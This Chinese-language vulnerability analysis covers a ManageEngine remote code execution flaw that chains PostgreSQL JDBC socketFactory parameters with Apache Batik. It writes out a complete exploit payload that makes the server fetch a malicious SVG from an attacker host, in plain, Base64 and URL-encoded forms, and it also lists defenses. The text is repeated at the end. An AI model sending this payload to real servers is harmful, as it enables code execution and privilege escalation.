ManageEngine JDBC RCE
字数 1025 2025-08-24 16:48:06

ManageEngine JDBC RCE漏洞分析与利用教学文档

漏洞概述

本漏洞存在于ManageEngine多款产品中,通过PostgreSQL JDBC驱动漏洞结合Apache Batik组件实现远程代码执行(RCE)。漏洞利用需要具备读取权限的账号,可用于权限提升。

受影响产品

  • M365 Security Plus
  • 其他多节点产品(具体版本需确认)

漏洞分析

漏洞接口

/servlet/ADSHACluster接口中存在敏感代码,该接口处理JDBC连接请求。

技术背景

  1. PostgreSQL JDBC漏洞:利用JDBC连接字符串中的socketFactorysocketFactoryArg参数,可以指定任意类并通过字符串参数构造对象。

  2. Apache Batik组件:漏洞版本(1.14及以下)的JSVGCanvas类可以通过URI参数加载远程SVG文件,进而实现RCE。

漏洞利用条件

  1. 产品中包含漏洞版本的PostgreSQL JDBC驱动
  2. 产品中包含漏洞版本的Apache Batik组件(1.14及以下)
  3. 攻击者需要知道接口所需的随机hash值(产品安装时生成)

漏洞复现步骤

1. 准备恶意文件

在攻击者控制的服务器上创建test.txt文件,内容为恶意SVG/JS代码。

2. 构造JDBC连接字符串

jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=javax.swing.JLabel&socketFactoryArg=<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.2.1:6565/test.txt'></object>

3. 构造请求数据

  1. 将JDBC连接信息放入JSON格式:
{
  "DB_PROP": {
    "url": "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=javax.swing.JLabel&socketFactoryArg=<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.2.1:6565/test.txt'></object>",
    "drivername": "org.postgresql.Driver",
    "username": "",
    "password": ""
  }
}
  1. 对JSON进行Base64编码:
eyJEQl9QUk9QIjp7InVybCI6ImpkYmM6cG9zdGdyZXNxbDovLzEyNy4wLjAuMTo1NDMyL3Rlc3QvP3NvY2tldEZhY3Rvcnk9amF2YXguc3dpbmcuSkxhYmVsJnNvY2tldEZhY3RvcnlBcmc9PGh0bWw+PG9iamVjdCBjbGFzc2lkPSdvcmcuYXBhY2hlLmJhdGlrLnN3aW5nLkpTVkdDYW52YXMnPjxwYXJhbSBuYW1lPSdVUkknIHZhbHVlPSdodHRwOi8vMTkyLjE2OC4yLjE6NjU2NS90ZXN0LnR4dCc+PC9vYmplY3Q+IiwiZHJpdmVybmFtZSI6Im9yZy5wb3N0Z3Jlc3FsLkRyaXZlciIsInVzZXJuYW1lIjoiIiwicGFzc3dvcmQiOiIifX0=
  1. 对Base64进行URL编码(防止Tomcat处理时破坏数据):
%65%79%4a%45%51%6c%39%51%55%6b%39%51%49%6a%70%37%49%6e%56%79%62%43%49%36%49%6d%70%6b%59%6d%4d%36%63%47%39%7a%64%47%64%79%5a%58%4e%78%62%44%6f%76%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%54%6f%31%4e%44%4d%79%4c%33%52%6c%63%33%51%76%50%33%4e%76%59%32%74%6c%64%45%5a%68%59%33%52%76%63%6e%6b%39%61%6d%46%32%59%58%67%75%63%33%64%70%62%6d%63%75%53%6b%78%68%59%6d%56%73%4a%6e%4e%76%59%32%74%6c%64%45%5a%68%59%33%52%76%63%6e%6c%42%63%6d%63%39%50%47%68%30%62%57%77%2b%50%47%39%69%61%6d%56%6a%64%43%42%6a%62%47%46%7a%63%32%6c%6b%50%53%64%76%63%6d%63%75%59%58%42%68%59%32%68%6c%4c%6d%4a%68%64%47%6c%72%4c%6e%4e%33%61%57%35%6e%4c%6b%70%54%56%6b%64%44%59%57%35%32%59%58%4d%6e%50%6a%78%77%59%58%4a%68%62%53%42%75%59%57%31%6c%50%53%64%56%55%6b%6b%6e%49%48%5a%68%62%48%56%6c%50%53%64%6f%64%48%52%77%4f%69%38%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%79%4c%6a%45%36%4e%6a%55%32%4e%53%39%30%5a%58%4e%30%4c%6e%52%34%64%43%63%2b%50%43%39%76%59%6d%70%6c%59%33%51%2b%49%69%77%69%5a%48%4a%70%64%6d%56%79%62%6d%46%74%5a%53%49%36%49%6d%39%79%5a%79%35%77%62%33%4e%30%5a%33%4a%6c%63%33%46%73%4c%6b%52%79%61%58%5a%6c%63%69%49%73%49%6e%56%7a%5a%58%4a%75%59%57%31%6c%49%6a%6f%69%49%69%77%69%63%47%46%7a%63%33%64%76%63%6d%51%69%4f%69%49%69%66%58%30%3d

4. 发送请求

/servlet/ADSHACluster接口发送POST请求,包含以下内容:

  • 正确的hash值(产品安装时生成)
  • URL编码后的Base64数据

限制条件

  1. 需要知道接口的随机hash值,这使得该漏洞无法实现未授权RCE
  2. 只能用于已有读取权限账号的权限提升

防御措施

  1. 升级Apache Batik组件至安全版本
  2. 升级PostgreSQL JDBC驱动至修复版本
  3. 限制ADSHACluster接口的访问权限

参考资源

总结

该漏洞结合了PostgreSQL JDBC驱动和Apache Batik组件的安全问题,通过精心构造的JDBC连接字符串实现RCE。虽然需要特定条件才能利用,但仍具有较高危险性,建议相关用户及时采取防护措施。

ManageEngine JDBC RCE漏洞分析与利用教学文档 漏洞概述 本漏洞存在于ManageEngine多款产品中,通过PostgreSQL JDBC驱动漏洞结合Apache Batik组件实现远程代码执行(RCE)。漏洞利用需要具备读取权限的账号,可用于权限提升。 受影响产品 M365 Security Plus 其他多节点产品(具体版本需确认) 漏洞分析 漏洞接口 /servlet/ADSHACluster 接口中存在敏感代码,该接口处理JDBC连接请求。 技术背景 PostgreSQL JDBC漏洞 :利用JDBC连接字符串中的 socketFactory 和 socketFactoryArg 参数,可以指定任意类并通过字符串参数构造对象。 Apache Batik组件 :漏洞版本(1.14及以下)的 JSVGCanvas 类可以通过URI参数加载远程SVG文件,进而实现RCE。 漏洞利用条件 产品中包含漏洞版本的PostgreSQL JDBC驱动 产品中包含漏洞版本的Apache Batik组件(1.14及以下) 攻击者需要知道接口所需的随机hash值(产品安装时生成) 漏洞复现步骤 1. 准备恶意文件 在攻击者控制的服务器上创建 test.txt 文件,内容为恶意SVG/JS代码。 2. 构造JDBC连接字符串 3. 构造请求数据 将JDBC连接信息放入JSON格式: 对JSON进行Base64编码: 对Base64进行URL编码(防止Tomcat处理时破坏数据): 4. 发送请求 向 /servlet/ADSHACluster 接口发送POST请求,包含以下内容: 正确的hash值(产品安装时生成) URL编码后的Base64数据 限制条件 需要知道接口的随机hash值,这使得该漏洞无法实现未授权RCE 只能用于已有读取权限账号的权限提升 防御措施 升级Apache Batik组件至安全版本 升级PostgreSQL JDBC驱动至修复版本 限制 ADSHACluster 接口的访问权限 参考资源 GitHub PoC Weblogic相关利用方式 Apache Batik漏洞分析 总结 该漏洞结合了PostgreSQL JDBC驱动和Apache Batik组件的安全问题,通过精心构造的JDBC连接字符串实现RCE。虽然需要特定条件才能利用,但仍具有较高危险性,建议相关用户及时采取防护措施。